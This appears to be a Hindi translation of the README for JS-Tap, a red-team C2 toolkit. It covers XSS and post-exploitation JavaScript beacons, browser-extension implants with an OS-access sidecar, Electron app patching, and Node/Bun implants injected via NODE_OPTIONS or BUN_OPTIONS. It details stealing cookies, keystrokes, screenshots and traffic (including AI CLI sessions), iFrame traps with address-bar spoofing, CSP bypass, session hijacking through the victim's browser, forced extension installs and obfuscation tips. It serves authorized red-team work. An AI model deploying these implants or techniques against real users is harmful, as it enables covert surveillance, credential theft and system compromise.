
JavaScript बीकन्स और C2 जिनका उपयोग XSS पेलोड या पोस्ट-एक्सप्लॉइटेशन इम्प्लांट्स के रूप में वेबएप सर्वर या डेस्कटॉप सॉफ्टवेयर पर उपयोगकर्ताओं की निगरानी और स्थायित्व बनाए रखने के लिए किया जा सकता है। ब्राउज़र एक्सटेंशन, इलेक्ट्रॉन ऐप, और नोड/बन ऐप इम्प्लांट्स शामिल हैं।
प्रमुख परिवर्तन परियोजना की घोषणाओं में दस्तावेज़ित किए गए हैं:
https://github.com/hoodoer/JS-Tap/discussions/categories/announcements
आप JS-Tap के बारे में मूल ब्लॉग पोस्ट यहाँ पढ़ सकते हैं:
https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams
ShmooCon में JS-Tap संस्करण 1 का छोटा डेमो:
https://youtu.be/IDLMMiqV6ss?si=XunvnVarqSIjx_x0&t=19814
HackSpaceCon में JS-Tap संस्करण 2 का डेमो, जिसमें C2 और पोस्ट-एक्सप्लॉइटेशन इम्प्लांट के रूप में उपयोग शामिल है:
https://youtu.be/aWvNLJnqObQ?t=11719
स्वचालित पेलोड जनरेटर का डेमो, जो इंटरसेप्ट किए गए फॉर्म सबमिशन और JavaScript नेटवर्क ट्रैफ़िक को कस्टम C2 पेलोड उत्पन्न करने के लिए ब्लूप्रिंट के रूप में उपयोग करता है:
https://www.youtube.com/watch?v=cU915mxLfTo
CactusCon में v2 का डेमो जिसमें मिमिक फीचर शामिल है:
https://youtu.be/O7-zxAmP13o?si=gchYwOJksutCCUPH
v3 बीकॉन का डेमो, बीटा कोड:
https://youtu.be/-esrfSHqZeo
मैं डेटाबेस के लिए माइग्रेशन स्क्रिप्ट बनाने की योजना नहीं बना रहा हूँ, और संस्करण संख्या में वृद्धि में अक्सर डेटाबेस स्कीमा में बदलाव शामिल होते हैं (चेंजलॉग देखें)। आपको संस्करण अपग्रेड पर शायद अपना jsTap.db डेटाबेस हटा देना चाहिए। यदि आपके JS-Tap सर्वर में कस्टम पेलोड हैं, तो डेटाबेस फ़ाइलों को हटाने से पहले उन्हें निर्यात करना सुनिश्चित करें।
JS-Tap रेड टीमर्स के लिए एक JavaScript-आधारित आक्रामक टूलकिट है। इसकी शुरुआत XSS या पोस्ट-एक्सप्लॉइटेशन इम्प्लांट के माध्यम से वेबऐप पर हमला करने के लिए एक सामान्य JavaScript पेलोड के रूप में हुई थी, और अब इसमें ब्राउज़र एक्सटेंशन और इलेक्ट्रॉन डेस्कटॉप ऐप इम्प्लांट शामिल हो गए हैं — सभी एक ही C2 सर्वर को रिपोर्ट करते हैं।
पेलोड के लिए यह आवश्यक नहीं है कि लक्षित उपयोगकर्ता हमले के तहत एप्लिकेशन में प्रमाणित हो, और इसके लिए एप्लिकेशन के बारे में कोई पूर्व ज्ञान आवश्यक नहीं है, सिवाय JavaScript को एप्लिकेशन में लाने का एक तरीका खोजने के।
एप्लिकेशन सर्वर पर ही हमला करने के बजाय, JS-Tap पेलोड एप्लिकेशन के क्लाइंट-साइड पर ध्यान केंद्रित करता है और क्लाइंट-साइड कोड को भारी रूप से इंस्ट्रूमेंट करता है। एक C2 सिस्टम कस्टम JavaScript पेलोड जोड़ने और उन्हें JS-Tap क्लाइंट पर कार्यों के रूप में चलाने की अनुमति देता है, जो सीधे एप्लिकेशन सर्वर पर हमला करने का एक साधन प्रदान करता है। सर्वर पर हमला करने के लिए तेज़ी से संक्रमण की सुविधा के लिए, JS-Tap में अब एक "मिमिक" फीचर शामिल है जो स्वचालित रूप से कस्टम पेलोड उत्पन्न करता है और उन्हें C2 सिस्टम को सौंप देता है।
उदाहरण DOM बीकॉन पेलोड payloads निर्देशिका में telemlib.js फ़ाइल में निहित है, हालांकि इस निर्देशिका की कोई भी फ़ाइल बिना प्रमाणीकरण के प्रस्तुत की जाती है, इसलिए आप एक ही समय में विभिन्न एप्लिकेशन को लक्षित करने वाले विभिन्न कॉन्फ़िगरेशन के साथ कई पेलोड प्रस्तुत कर सकते हैं।
telemlib.js फ़ाइल को अपनी पसंद के किसी भी फ़ाइल नाम पर कॉपी करें और आवश्यकतानुसार कॉन्फ़िगरेशन को संशोधित करें। इस फ़ाइल को अस्पष्ट (obfuscated) नहीं किया गया है। किसी एंगेजमेंट में उपयोग करने से पहले दृढ़ता से विचार करें कि एंडपॉइंट के नामकरण को बदलें, टिप्पणियाँ हटाएं, और पेलोड को अत्यधिक अस्पष्ट करें। डिफ़ॉल्ट रूप से एप्लिकेशन काफी स्पष्ट API एंडपॉइंट (जैसे /loot/screenshot) का उपयोग करता है, App Settings में आप ट्रैफ़िक अस्पष्टीकरण को चालू कर सकते हैं।
सार्वजनिक रूप से उजागर सर्वर पर उपयोग करने से पहले नीचे दिए गए कॉन्फ़िगरेशन अनुभाग की सावधानीपूर्वक समीक्षा करना सुनिश्चित करें।
JS-Tap में पाँच बीकॉन/एजेंट प्रकार हैं जो एक ही सर्वर से जुड़ते हैं:
सभी पाँच एक ही JS-Tap सर्वर पोर्टल पर रिपोर्ट करते हैं, जहाँ लूट देखी जाती है और C2 कमांड जारी किए जाते हैं।
पोर्टल में दो सत्र-क्लोनिंग उपकरण भी शामिल हैं:
| उपकरण | यह क्या करता है |
|---|---|
| ब्राउज़र प्रॉक्सी | JS-Tap सर्वर पर एक MITM प्रॉक्सी जो ऑपरेटर के HTTP/HTTPS ट्रैफ़िक को वेबसॉकेट के माध्यम से पीड़ित के ब्राउज़र (या Node.js प्रक्रिया) के माध्यम से रूट करता है। अनुरोध पीड़ित के नेटवर्क संदर्भ से प्राप्त किए जाते हैं, इसलिए लक्ष्य साइट पीड़ित का IP और TLS फिंगरप्रिंट देखती है। प्रमाणित ब्राउज़िंग के लिए सत्र टिकट के साथ संयोजित करें। BEX, Atom, और V8 बीकॉन द्वारा समर्थित। नीचे देखें। |
स्टैंडअलोन DOM बीकॉन: DOM बीकॉन पेलोड (telemlib.js) स्वतंत्र रूप से काम करता है। इसे XSS के माध्यम से इंजेक्ट करें या लक्ष्य की JS फ़ाइलों में इम्प्लांट करें। यह अपने आप JS-Tap सर्वर को कॉल करता है।
ड्रॉपर के रूप में BEX बीकॉन: BEX बीकॉन ब्राउज़िंग की निगरानी करता है और निष्क्रिय खुफिया जानकारी (कुकीज़, localStorage, sessionStorage, अनुरोध हेडर, नेविगेशन) एकत्र करता है। JS-Tap पोर्टल से, आप बीकॉन को एक विशिष्ट डोमेन में DOM बीकॉन इंजेक्ट करने का आदेश दे सकते हैं। BEX बीकॉन द्वारा उत्पन्न DOM बीकॉन एक्सटेंशन के captureVisibleTab API (BEX-असिस्ट मोड) के माध्यम से उच्च-गुणवत्ता वाले स्क्रीनशॉट प्राप्त करता है।
OS पहुँच के लिए साइडकार: स्थापित होने पर, साइडकार बाइनरी BEX बीकॉन को अंतर्निहित ऑपरेटिंग सिस्टम तक पहुँच प्रदान करती है। कमांड JS-Tap पोर्टल से भेजे जाते हैं, बीकॉन के एन्क्रिप्टेड चैनल के माध्यम से मूल बाइनरी तक रिले किए जाते हैं, और परिणाम वापस भेजे जाते हैं। यह एक ब्राउज़र एक्सटेंशन को फ़ाइल सिस्टम पहुँच और कमांड निष्पादन के लिए एक पैर जमाने में बदल देता है।
लाइव ब्राउज़िंग के लिए ब्राउज़र प्रॉक्सी: ऑपरेटर अपने ब्राउज़र को JS-Tap प्रॉक्सी का उपयोग करने के लिए कॉन्फ़िगर करता है और सभी HTTP/HTTPS ट्रैफ़िक वास्तविक समय में पीड़ित के ब्राउज़र के माध्यम से रूट किया जाता है। प्रॉक्सी MITM TLS टर्मिनेशन (एक स्वचालित रूप से उत्पन्न CA के साथ) करता है ताकि ऑपरेटर HTTPS साइटों को ब्राउज़ कर सके। प्रॉक्सी एक "डंब पाइप" है — यह ठीक वही अग्रेषित करता है जो ऑपरेटर का ब्राउज़र भेजता है। प्रमाणित ब्राउज़िंग के लिए, सत्र टिकट के साथ संयोजित करें: JS-Tap कंडक्टर पीड़ित की कुकीज़, हेडर और User-Agent को ऑपरेटर के ब्राउज़र में इंजेक्ट करता है, MITM प्रॉक्सी उन्हें बीकॉन को अग्रेषित करता है, और बीकॉन पीड़ित के नेटवर्क से प्राप्त करता है। यह ऑपरेटर को पीड़ित के IP पते से एक प्रमाणित सत्र देता है। BEX, Atom, और V8 बीकॉन सभी प्रॉक्सी मोड का समर्थन करते हैं।
इलेक्ट्रॉन ऐप्स के लिए एटम बीकॉन: atomize.py पैचर इलेक्ट्रॉन ऐप के ASAR आर्काइव को संशोधित करके एटम बीकॉन एजेंट को इंजेक्ट करता है। लॉन्च होने पर, एजेंट JS-Tap सर्वर के साथ पंजीकृत होता है, एन्क्रिप्टेड C2 संचार शुरू करता है, और ऐप द्वारा बनाई गई प्रत्येक BrowserWindow में स्वचालित रूप से रेंडरर पेलोड इंजेक्ट करता है। मुख्य प्रक्रिया एजेंट मूल OS पहुँच (फ़ाइल सिस्टम, कमांड निष्पादन) प्रदान करता है जबकि रेंडरर पेलोड DOM-स्तरीय डेटा (कीस्ट्रोक्स, इनपुट, फॉर्म, कुकीज़, स्टोरेज, नेटवर्क कॉल) एकत्र करते हैं। चूँकि यह पूर्ण Node.js पहुँच के साथ इलेक्ट्रॉन मुख्य प्रक्रिया के अंदर चलता है, इसे अलग साइडकार बाइनरी की आवश्यकता नहीं है — फ़ाइल ब्राउज़िंग, फ़ाइल पढ़ना, और शेल कमांड अंतर्निहित हैं।
नोट: XHR और Fetch API कॉल की प्रतियां प्राप्त करने की क्षमता ट्रैप मोड में काम करती है। इम्प्लांट मोड में वर्तमान में केवल Fetch API की प्रतिलिपि बनाई जा सकती है। इम्प्लांट मोड में फॉर्म सबमिशन का इंटरसेप्शन कभी-कभी छूट सकता है।
browser.cookies.getAll() के माध्यम से: httpOnly, secure, sameSite, path, domain, expiration)मुख्य प्रक्रिया एजेंट (Node.js रनटाइम):
session.cookies API के माध्यम से (मेटाडेटा के साथ httpOnly सहित)webRequest.onBeforeSendHeaders के माध्यम सेwebRequest.onHeadersReceived के माध्यम सेdesktopCapturer API के माध्यम से एप्लिकेशन विंडो के स्क्रीनशॉट (GPU-कम्पोज़िटेड आउटपुट कैप्चर करता है)रेंडरर पेलोड (सभी ऐप विंडो में इंजेक्ट):
document.cookie से, परिवर्तन-ट्रैक)process.stdin से कीस्ट्रोक कैप्चर (पढ़ने योग्य स्ट्रिंग्स में बफ़र्ड, हर 2 सेकंड या Enter पर फ्लश)DOM बीकॉन पेलोड के दो ऑपरेटिंग मोड हैं। मोड ट्रैप है या इम्प्लांट यह initGlobals() फ़ंक्शन में सेट किया जाता है, window.taperMode वेरिएबल खोजें।
ट्रैप मोड आमतौर पर वह मोड है जिसका उपयोग आप XSS पेलोड के रूप में करेंगे। XSS पेलोड का निष्पादन अक्सर क्षणिक होता है, जो उपयोगकर्ता उस पृष्ठ को देख रहा है जहाँ दुर्भावनापूर्ण JavaScript पेलोड चलता है, वह ब्राउज़र टैब बंद कर सकता है (पृष्ठ दिलचस्प नहीं है) या एप्लिकेशन में कहीं और नेविगेट कर सकता है। दोनों ही मामलों में, पेलोड मेमोरी से हटा दिया जाएगा और काम करना बंद कर देगा। JS-Tap को लंबे समय तक चलने की आवश्यकता है अन्यथा आप उपयोगी डेटा एकत्र नहीं करेंगे।
ट्रैप मोड iFrame ट्रैप तकनीक का उपयोग करके दृढ़ता स्थापित करके इसका मुकाबला करता है। JS-Tap पेलोड एक पूर्ण पृष्ठ iFrame बनाएगा, और उपयोगकर्ता को एप्लिकेशन में कहीं और शुरू करेगा। इस प्रारंभिक पृष्ठ को पहले से कॉन्फ़िगर किया जाना चाहिए। initGlobals() फ़ंक्शन में window.taperstartingPage वेरिएबल खोजें और इसे लक्ष्य एप्लिकेशन में उपयुक्त प्रारंभिक स्थान पर सेट करें।
ट्रैप मोड में JS-Tap iFrame ट्रैप में उपयोगकर्ता के स्थान की निगरानी करता है और iFrame के स्थान से मेल खाने के लिए ब्राउज़र के एड्रेस बार को स्पूफ करता है।
ध्यान दें कि लक्षित एप्लिकेशन को समान-मूल या स्वयं से iFraming की अनुमति देनी चाहिए यदि वह CSP या X-Frame-Options हेडर सेट कर रहा है। JavaScript-आधारित फ्रेमबस्टर भी iFrame ट्रैप को काम करने से रोक सकते हैं।
ध्यान दें, मुझे पोस्ट-एक्सप्लॉइटेशन इम्प्लांट के लिए ट्रैप मोड का उपयोग एप्लिकेशन के बहुत विशिष्ट स्थानों में, या जब मुझे यकीन नहीं है कि एप्लिकेशन प्रमाणित अनुभाग के अंदर किन संसाधनों का उपयोग कर रहा है, अच्छा अनुभव हुआ है। आप लॉगिन पृष्ठ पर एक इम्प्लांट रख सकते हैं, ट्रैप मोड और ट्रैप मोड प्रारंभ पृष्ठ को window.location.href (यानी वर्तमान स्थान) पर सेट करके। जब उपयोगकर्ता लॉगिन पृष्ठ पर जाता है तो ट्रैप सेट हो जाएगा, और उम्मीद है कि वे iFrame ट्रैप के अंदर एप्लिकेशन के प्रमाणित भागों में जारी रहेंगे।
पृष्ठ को रिफ्रेश करने वाला उपयोगकर्ता आमतौर पर iFrame ट्रैप को तोड़ देगा/बच जाएगा।
इम्प्लांट मोड का उपयोग आमतौर पर तब किया जाएगा यदि आप सीधे लक्षित एप्लिकेशन में पेलोड जोड़ रहे हैं। शायद आपके पास उस सर्वर पर शेल है जो एप्लिकेशन के लिए JavaScript फ़ाइलों की मेजबानी करता है। एप्लिकेशन में व्यापक रूप से उपयोग की जाने वाली JavaScript फ़ाइल (jQuery, main.js, आदि) में पेलोड जोड़ें। कौन सी फ़ाइल आदर्श होगी यह वास्तव में प्रश्न में ऐप और यह JavaScript फ़ाइलों का उपयोग कैसे करता है, पर निर्भर करता है। इम्प्लांट मोड को प्रारंभिक पृष्ठ कॉन्फ़िगर करने की आवश्यकता नहीं है, और यह iFrame ट्रैप तकनीक का उपयोग नहीं करता है।
इम्प्लांट मोड में पृष्ठ को रिफ्रेश करने वाला उपयोगकर्ता आमतौर पर JS-Tap पेलोड को चलाना जारी रखेगा।
इम्प्लांट मोड के एप्लिकेशन के साथ काम करने की अधिक संभावना है क्योंकि इसमें सभी अतिरिक्त iFrame दृढ़ता कोड शामिल नहीं है।
BEX बीकॉन JS-Tap का एक ब्राउज़र एक्सटेंशन संस्करण है। यह दो प्राथमिक उद्देश्यों को पूरा करता है:
BEX बीकॉन JS-Tap सर्वर के साथ एप्लिकेशन-लेयर एन्क्रिप्टेड संचार (AES-GCM) का उपयोग करता है। सभी टेलीमेट्री और कार्य प्रतिक्रियाएँ एक ही एंडपॉइंट के माध्यम से एंड-टू-एंड एन्क्रिप्ट की जाती हैं, जिससे नेटवर्क ट्रैफ़िक को फ़िंगरप्रिंट करना कठिन हो जाता है।
बीकॉन में सख्त वातावरण में JS-Tap इंजेक्शन की सुविधा के लिए CSP/X-Frame-Options हेडर स्ट्रिपिंग (declarativeNetRequest नियमों के माध्यम से) जैसी सुविधाएँ भी शामिल हैं। उन लक्ष्यों के लिए जो <meta http-equiv="Content-Security-Policy"> टैग का उपयोग करते हैं (जिन्हें हेडर नियमों के माध्यम से नहीं हटाया जा सकता क्योंकि वे HTML में एम्बेडेड हैं), BEX बीकॉन एक बंडल इंजेक्शन दृष्टिकोण का उपयोग करता है — telemlib.js एक्सटेंशन के अंदर पैकेज किया जाता है और chrome.scripting.executeScript({ files }) के माध्यम से इंजेक्ट किया जाता है, जो ब्राउज़र के विशेषाधिकार प्राप्त एक्सटेंशन इंजेक्शन तंत्र के माध्यम से पेज-स्तरीय CSP को पूरी तरह से बायपास करता है।
जब वैकल्पिक साइडकार मूल मैसेजिंग होस्ट के साथ जोड़ा जाता है, तो BEX बीकॉन लक्ष्य मशीन पर OS-स्तरीय पहुँच प्राप्त करता है। नीचे साइडकार अनुभाग देखें।
एटम बीकॉन इलेक्ट्रॉन डेस्कटॉप एप्लिकेशन के लिए एक इम्प्लांट है। यह एक दोहरी-परत एजेंट के रूप में काम करता है — एक विशेषाधिकार प्राप्त मुख्य प्रक्रिया एजेंट जिसमें पूर्ण Node.js रनटाइम पहुँच है, साथ ही ऐप द्वारा बनाई गई प्रत्येक BrowserWindow में स्वचालित रूप से इंजेक्ट किए गए रेंडरर पेलोड।
BEX बीकॉन + साइडकार संयोजन के विपरीत, एटम बीकॉन को OS पहुँच के लिए अलग मूल बाइनरी की आवश्यकता नहीं है — फ़ाइल सिस्टम संचालन, कमांड निष्पादन, और स्क्रीनशॉट कैप्चर सभी Node.js API का उपयोग करके मुख्य प्रक्रिया एजेंट में निर्मित हैं।
एटम बीकॉन BEX बीकॉन के समान एन्क्रिप्टेड संचार प्रोटोकॉल (एक ही एंडपॉइंट पर AES-GCM एन्क्रिप्शन, RSA-OAEP कुंजी विनिमय के साथ) का उपयोग करता है। यह एक विशिष्ट क्लाइंट प्रकार (atom-beacon) के रूप में पंजीकृत होता है और DOM बीकॉन के साथ Apps दृश्य में दिखाई देता है।मुख्य क्षमताएं:
webContents.executeJavaScript() के माध्यम से सभी BrowserWindows में स्वचालित रूप से डेटा संग्रह पेलोड इंजेक्ट करता है, जिसमें प्रारंभिक लॉन्च के बाद बनाई गई विंडो भी शामिल हैं। Renderer पेलोड कीस्ट्रोक्स, इनपुट, फॉर्म, कुकीज़, स्टोरेज, URLs, HTML, और XHR/Fetch नेटवर्क कॉल्स को कैप्चर करते हैं।desktopCapturer API का उपयोग करके विंडो स्क्रीनशॉट कैप्चर करता है, जो GPU-कम्पोज़िड सामग्री सहित पिक्सेल-परफेक्ट कैप्चर उत्पन्न करता है। मैन्युअल कैप्चर (पोर्टल UI के माध्यम से), ह्यूरिस्टिक ऑटो-कैप्चर (विंडो फोकस, नेविगेशन और नई विंडो पर), और कॉन्फ़िगरेबल कूलडाउन अवधियों का समर्थन करता है।webRequest.onBeforeSendHeaders के माध्यम से अनुरोध हेडर और webRequest.onHeadersReceived के माध्यम से प्रतिक्रिया हेडर को Electron सत्र स्तर पर कैप्चर करता है।session.cookies.get() के माध्यम से Electron सत्र से सभी कुकीज़ (httpOnly सहित) पढ़ता है।सेटअप और उपयोग के लिए नीचे Atom Beacon (पैचिंग Electron Apps) देखें।
V8 Beacon Node.js और Bun-आधारित कमांड-लाइन अनुप्रयोगों के लिए एक इम्प्लांट है। Atom Beacon के विपरीत जिसे किसी ऐप के ASAR आर्काइव को पैच करने की आवश्यकता होती है, V8 Beacon एनवायरनमेंट वेरिएबल्स के माध्यम से इंजेक्ट करता है — लक्ष्य एप्लिकेशन में कोई संशोधन आवश्यक नहीं है।
समर्थित रनटाइम:
export NODE_OPTIONS="--require /path/to/v8-beacon.js" (Gemini CLI और अन्य Node.js टूल के साथ परीक्षित)export BUN_OPTIONS="--preload /path/to/v8-beacon.js" (Claude Code के साथ परीक्षित)बीकॉन BEX और Atom Beacons के समान एन्क्रिप्टेड संचार प्रोटोकॉल (एक एकल एंडपॉइंट पर AES-GCM एन्क्रिप्शन, RSA-OAEP कुंजी विनिमय के साथ) का उपयोग करता है। यह क्लाइंट प्रकार v8-beacon के रूप में पंजीकृत होता है और पोर्टल में Nodes दृश्य में दिखाई देता है।
मुख्य क्षमताएं:
http.request, https.request, globalThis.fetch, और http2.connect को मंकी-पैच करता है। SSE स्ट्रीमिंग प्रतिक्रियाएँ (AI APIs जैसे Anthropic's Messages API और Google's Gemini API द्वारा उपयोग की जाती हैं) को प्रतिक्रिया स्ट्रीम को टी करके कैप्चर किया जाता है। Gzip-संपीड़ित प्रतिक्रियाएँ स्वचालित रूप से डीकंप्रेस की जाती हैं।process.stdin को कई स्तरों (push, emit, tty.ReadStream, readline) पर हुक करता है। कीस्ट्रोक्स को पठनीय स्ट्रिंग्स में बफ़र किया जाता है और हर 2 सेकंड (या Enter पर तुरंत) फ्लश किया जाता है।सेटअप और उपयोग के लिए नीचे V8 Beacon (Node.js / Bun CLI Apps) देखें।
JS-Tap स्क्रीनशॉट कैप्चर करने के लिए तीन अलग-अलग विधियों का उपयोग करता है:
DOM Beacon इम्प्लांट में डिफ़ॉल्ट रूप से उपयोग किया जाता है। यह पृष्ठ को एक कैनवस एलिमेंट के रूप में पुनर्निर्माण करने और इसे एक छवि के रूप में निर्यात करने का प्रयास करता है। यह अधिकांश साइटों के लिए अच्छा काम करता है लेकिन जटिल आधुनिक ऐप्स (जैसे Reddit) या क्रॉस-ओरिजिन इमेज के साथ संघर्ष कर सकता है।
जब कोई DOM Beacon इम्प्लांट BEX Beacon द्वारा स्पॉन किया जाता है, तो इसे एक्सटेंशन के उच्च-स्तरीय ब्राउज़र APIs तक पहुँच प्राप्त होती है। इस मोड में, इम्प्लांट बीकॉन से chrome.tabs.captureVisibleTab का उपयोग करके स्क्रीनशॉट लेने के लिए कहता है। इसका परिणाम एक पिक्सेल-परफेक्ट, उच्च-गुणवत्ता वाला कैप्चर होता है जो html2canvas की सभी CSS/DOM सीमाओं को दरकिनार करता है। जटिल लक्ष्यों के लिए यह अनुशंसित मोड है।
Atom Beacon विंडो स्क्रीनशॉट कैप्चर करने के लिए Electron के desktopCapturer API का उपयोग करता है। यह वास्तविक GPU-कम्पोज़िड विंडो आउटपुट को कैप्चर करता है, जो जटिल Electron ऐप्स (Slack, VS Code, Discord, आदि) के पिक्सेल-परफेक्ट स्क्रीनशॉट उत्पन्न करता है। स्क्रीनशॉट को पोर्टल से मैन्युअल रूप से ट्रिगर किया जा सकता है, या कॉन्फ़िगरेबल ह्यूरिस्टिक्स (विंडो फोकस परिवर्तन, नेविगेशन ईवेंट, नई विंडो निर्माण) के माध्यम से स्वचालित रूप से ट्रिगर किया जा सकता है।
python3 की आवश्यकता है। jsTapServer के लिए बड़ी संख्या में निर्भरताएँ आवश्यक हैं, आपको सर्वर सॉफ़्टवेयर के लिए लाइब्रेरीज़ को अलग करने के लिए पायथन वर्चुअल एनवायरमेंट (या अपनी पसंद की कोई भी अलगाव विधि) का उपयोग करने की अत्यधिक अनुशंसा की जाती है।
उदाहरण:``` mkdir jsTapEnvironment python3 -m venv jsTapEnvironment source jsTapEnvironment/bin/activate cd jsTapEnvironment git clone https://github.com/hoodoer/JS-Tap cd JS-Tap pip3 install -r requirements.txt
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 365 -nodes
python3 jsTapServer.py #or
./jstapRun.sh
सर्वर प्रत्येक स्टार्टअप पर स्वचालित रूप से एक रैंडम एडमिन पासवर्ड उत्पन्न करता है और इसे कंसोल पर प्रिंट करता है। क्रेडेंशियल्स प्रोजेक्ट रूट में `adminCreds.txt` में भी सहेजे जाते हैं। डेवलपमेंट/टेस्टिंग के दौरान, रनों के बीच `jsTap.db` को डिलीट करना सुरक्षित है — यह स्टार्टअप पर स्वचालित रूप से पुनर्जीवित हो जाता है।
### निर्माण (एकीकृत बिल्ड)
प्रोजेक्ट रूट पर एकीकृत बिल्ड स्क्रिप्ट सब कुछ संभालती है: Chrome और Firefox के लिए एक्सटेंशन बनाना, उन्हें डिप्लॉयमेंट के लिए पैक करना, वैकल्पिक रूप से साइडकार बाइनरी को क्रॉस-कंपाइल करना, और स्व-निहित डिप्लॉय बंडल तैयार करना जिन्हें आप लक्ष्य मशीनों पर कॉपी कर सकते हैं।
#### आवश्यक शर्तें
- **Node.js** (WXT एक्सटेंशन बिल्ड और .crx पैकिंग के लिए)
- **Go** (1.21+) — केवल आवश्यक है यदि साइडकार सक्षम हो
- **Python 3**
#### त्वरित प्रारंभ
1. `bex-beacon/config.json` कॉन्फ़िगर करें (नीचे [कॉन्फ़िगरेशन](#bex-beacon-configuration-configjson) देखें)।
2. Node निर्भरताएँ स्थापित करें (केवल पहली बार):```bash
cd bex-beacon && npm install && cd ..
यह क्रोम MV3 और फ़ायरफ़ॉक्स MV2 एक्सटेंशन बनाता है, उन्हें `.crx`/`.xpi` के रूप में पैक करता है, साइडकार बाइनरी (यदि सक्षम हो) को क्रॉस-कंपाइल करता है, और डिप्लॉय बंडल जनरेट करता है। बिल्ड स्क्रिप्ट प्रत्येक बिल्ड पर एक्सटेंशन के पैच वर्जन नंबर को स्वचालित रूप से बढ़ा देती है (जैसे `2.1.5` → `2.1.6`) `bex-beacon/config.json` में, ताकि ब्राउज़र फ़ोर्स-इंस्टॉल मैकेनिज़्म (क्रोम/एज एंटरप्राइज़ पॉलिसी) अपडेटेड बिल्ड को उठा सकें।
#### बिल्ड फ़्लैग्स
| फ़्लैग | प्रभाव |
|---|---|
| `--ext-only` | केवल एक्सटेंशन बनाएँ, साइडकार छोड़ें |
| `--sidecar-only` | केवल साइडकार बनाएँ, एक्सटेंशन छोड़ें |
| `--legacy` | लीगेसी एक्सटेंशन भी बनाएँ (`src-chrome-extension/` और `src-firefox-extension/` से) |
#### बिल्ड आउटपुट```
build/
chrome-mv3/ # Unpacked Chrome extension (for development)
firefox-mv2/ # Unpacked Firefox extension (for development)
extension.crx # Packed Chrome extension (if key.pem configured)
extension.xpi # Packed Firefox extension
sidecar/ # Sidecar binaries + manifests (when enabled)
deploy/ # Self-contained deploy bundles
chrome-linux.tar.gz
chrome-mac.tar.gz
chrome-windows.zip
chromium-linux.tar.gz
chromium-mac.tar.gz
firefox-linux.tar.gz
firefox-mac.tar.gz
firefox-windows.zip
उत्पादन उपयोग के लिए, आपको एक स्थिर कुंजी जोड़ी उत्पन्न करनी चाहिए ताकि आपकी Chrome एक्सटेंशन आईडी बिल्ड में निर्धारितात्मक रहे। साइडकार के नेटिव मैसेजिंग मेनिफेस्ट के लिए सही एक्सटेंशन को श्वेतसूची में डालने के लिए यह आवश्यक है।```bash
openssl genrsa 2048 > key.pem
openssl rsa -in key.pem -pubout -outform DER | base64 -w0
बेस64 आउटपुट को `extension_ids.chrome_key` में जोड़ें और `bex-beacon/config.json` में `extension_ids.chrome_key_pem` को `key.pem` पर सेट करें। बिल्ड स्क्रिप्ट स्वचालित रूप से 32-वर्णों वाले Chrome एक्सटेंशन ID की गणना और सत्यापन करेगी।
Firefox एक्सटेंशन IDs सीधे `extension_ids.firefox_extension_id` के माध्यम से सेट की जाती हैं (जैसे `bex-beacon@jstap`)।
### लक्ष्यों पर तैनात करना
प्रत्येक डिप्लॉय बंडल एक **स्व-निहित संग्रह** है — लक्ष्य मशीन पर कॉपी करने के लिए एक फ़ाइल।
**कार्यप्रवाह:**
1. लक्ष्य पर उपयुक्त संग्रह कॉपी करें (जैसे `chrome-linux.tar.gz`)
2. इसे निकालें
3. इंस्टॉल स्क्रिप्ट चलाएँ```bash
# Linux/macOS
tar xzf chrome-linux.tar.gz
cd chrome-linux
./install.sh
# Windows
# Extract chrome-windows.zip, then run:
install.bat
इंस्टॉल स्क्रिप्ट क्या करती हैं:
जब साइडकार सक्षम होता है, तो इंस्टॉल स्क्रिप्ट साइडकार बाइनरी भी इंस्टॉल करती है और सही ब्राउज़र/OS-विशिष्ट स्थान पर नेटिव मैसेजिंग मेनिफेस्ट लिखती है। साइडकार इंस्टॉलेशन उपयोगकर्ता-स्तरीय है (sudo की आवश्यकता नहीं)।
Chrome/Chromium इंस्टॉल विवरण (Linux):
ExtensionSettings force_installed मोड के साथ) का उपयोग करता है/opt/jstap/ में संग्रहीत होते हैं/etc/chromium/policies/managed/ (Chromium) या /etc/opt/chrome/policies/managed/ (Chrome) में लिखा जाता हैChrome/Chromium इंस्टॉल विवरण (macOS):
/Library/Application Support/JSTap/ में संग्रहीत होता हैप्रत्येक डिप्लॉय बंडल में एक अनइंस्टॉल स्क्रिप्ट (uninstall.sh या uninstall.bat) शामिल होती है जो इंस्टॉल स्क्रिप्ट द्वारा तैनात की गई सभी चीज़ों को साफ-साफ हटा देती है।```bash
./uninstall.sh
uninstall.bat
**अनइंस्टॉल स्क्रिप्ट क्या हटाती हैं:**
| घटक | क्या हटाया जाता है |
|---|---|
| **Chrome/Chromium एक्सटेंशन** (Linux) | सिस्टम निर्देशिकाओं से एंटरप्राइज़ नीति JSON + CRX + अपडेट मेनिफ़ेस्ट (`sudo` आवश्यक) |
| **Chrome/Chromium एक्सटेंशन** (macOS) | सिस्टम निर्देशिकाओं से बाहरी एक्सटेंशन JSON + CRX (`sudo` आवश्यक) |
| **Chrome एक्सटेंशन** (Windows) | रजिस्ट्री प्रविष्टि + `%LOCALAPPDATA%\JSTap` से एक्सटेंशन फ़ाइलें |
| **Firefox एक्सटेंशन** | Firefox प्रोफ़ाइल की `extensions/` निर्देशिका से `.xpi` |
| **साइडकार** (जब मौजूद हो) | `~/.local/bin/` से बाइनरी, नेटिव मैसेजिंग मेनिफ़ेस्ट JSON, और रजिस्ट्री प्रविष्टियाँ (Windows) |
अनइंस्टॉल करने के बाद, परिवर्तन प्रभावी होने के लिए ब्राउज़र को पुनरारंभ करें।
#### विकास उपयोग
विकास और परीक्षण के लिए, आप डिप्लॉय बंडलों को छोड़ सकते हैं और एक्सटेंशन सीधे लोड कर सकते हैं:
- **Chrome:** `chrome://extensions` -> डेवलपर मोड सक्षम करें -> अनपैक्ड लोड करें -> `build/chrome-mv3/` चुनें
- **Firefox:** `about:debugging` -> यह Firefox -> अस्थायी ऐड-ऑन लोड करें -> `build/firefox-mv2/` के अंदर कोई भी फ़ाइल चुनें
### साइडकार (नेटिव मैसेजिंग होस्ट)
साइडकार **वैकल्पिक** है। यह एक Go बाइनरी है जो ब्राउज़र के नेटिव मैसेजिंग API के माध्यम से BEX बीकन के साथ संचार करता है ताकि OS-स्तर की पहुँच (फ़ाइल ब्राउज़िंग, फ़ाइल पढ़ना, कमांड निष्पादन) प्रदान कर सके।
#### सक्षम करना और बनाना
1. `bex-beacon/config.json` में `sidecar.enabled: true` सेट करें
